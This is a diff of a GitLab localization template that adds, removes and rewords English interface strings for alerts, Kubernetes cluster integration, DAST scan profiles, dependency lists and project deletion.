+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
